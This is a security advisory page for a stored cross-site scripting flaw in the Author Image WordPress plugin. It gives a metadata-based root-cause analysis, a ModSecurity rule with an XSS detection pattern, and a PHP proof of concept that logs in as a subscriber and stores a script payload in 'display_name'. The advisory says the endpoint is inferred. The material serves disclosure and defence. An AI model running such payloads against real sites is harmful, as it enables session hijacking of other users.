Opens in a new tab
Published : November 15, 2026

CVE-2026-119097: Author Image <= 4.9.3 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.9.3
Patched Version —
Disclosed November 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-119097 (metadata-based): This is a stored cross-site scripting vulnerability in the Author Image WordPress plugin (slug sem-author-image) affecting versions up to and including 4.9.3. An authenticated attacker with subscriber-level privileges or higher can inject arbitrary JavaScript into the ‘display_name’ parameter. The CVSS score of 6.4 reflects network attack vector, low complexity, low privileges required, no user interaction, and scope change. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping of the ‘display_name’ parameter. Based on the CWE-79 classification and description, the plugin likely accepts user-supplied display names without proper sanitization (e.g., missing sanitize_text_field or wp_kses) and later outputs them without escaping (e.g., missing esc_html or esc_attr). This allows script tags or event handlers to be stored and executed when the profile or author image is displayed. Atomic Edge analysis infers these patterns from the metadata; no source code diff is available for confirmation.

Exploitation: An attacker with subscriber-level access can exploit this by submitting a malicious payload in the ‘display_name’ field, likely through a profile update form, a custom AJAX action, or a REST API endpoint. The payload executes when an administrator or other user views the affected page (e.g., author image management screen or public-facing author box). The CVSS vector indicates network exploitation, low privileges, and no user interaction, meaning the attacker can trigger the stored XSS remotely after authentication. Atomic Edge research expects the vulnerable endpoint to be either an AJAX action (e.g., action=sem_author_image_update) or a direct POST to a plugin file, but the exact endpoint is inferred due to lack of code.

Remediation: The fix requires proper sanitization of the ‘display_name’ input on save and escaping on output. Developers should use WordPress functions like sanitize_text_field() or wp_kses() to strip dangerous HTML, and escape output with esc_html() or esc_attr() depending on context. Since no patched version is available, site owners should disable the plugin or apply virtual patching at the WAF level.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users’ browsers, potentially leading to session hijacking, credential theft, or actions performed on behalf of the victim. The scope change (S:C) indicates the vulnerability can affect resources beyond the plugin itself, such as the entire WordPress admin or other integrated services. This poses a significant risk to site integrity and user data.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-119097 (metadata-based)
# Virtual patch for Author Image plugin stored XSS via display_name parameter.
# Narrowly scoped to the plugin's AJAX action and parameter.
# Assumption: The plugin uses an AJAX action named 'sem_author_image_update' (inferred from slug).
# Adjust action name if known from further analysis.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026119097,phase:2,deny,status:403,chain,msg:'CVE-2026-119097 via Author Image AJAX',severity:'CRITICAL',tag:'CVE-2026-119097'"
  SecRule ARGS_POST:action "@streq sem_author_image_update" "chain"
    SecRule ARGS_POST:display_name "@rx <script|onw+s*=|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
# If the plugin uses a different action, this rule will not block legitimate traffic.
# Note: The action name is inferred and may need adjustment based on actual plugin behavior.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-119097 - Author Image <= 4.9.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' Parameter

$target_url = 'http://example.com'; // Configure target WordPress site
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

// Step 1: Log in as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_exec($ch);

// Step 2: Inject XSS payload into display_name via profile update
// Assumption: The plugin uses the standard profile update mechanism or a custom endpoint that processes 'display_name'.
// We target the profile page POST. If the plugin uses a custom endpoint, adjust accordingly.
$profile_url = $target_url . '/wp-admin/profile.php';
$payload = '<script>alert(1);</script>';
$profile_data = http_build_query([
    'action' => 'update',
    'display_name' => $payload,
    'submit' => 'Update Profile'
]);
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $profile_data);
curl_exec($ch);

// Step 3: Verify stored XSS by fetching a page where display_name is rendered
// Assumption: The plugin outputs display_name on author image pages or public author archive.
$trigger_url = $target_url . '/?author=1'; // Adjust based on actual author page
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, $payload) !== false) {
    echo "XSS payload stored and reflected in response.n";
} else {
    echo "XSS payload not found in response. The plugin may use a different endpoint or requires higher privileges.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.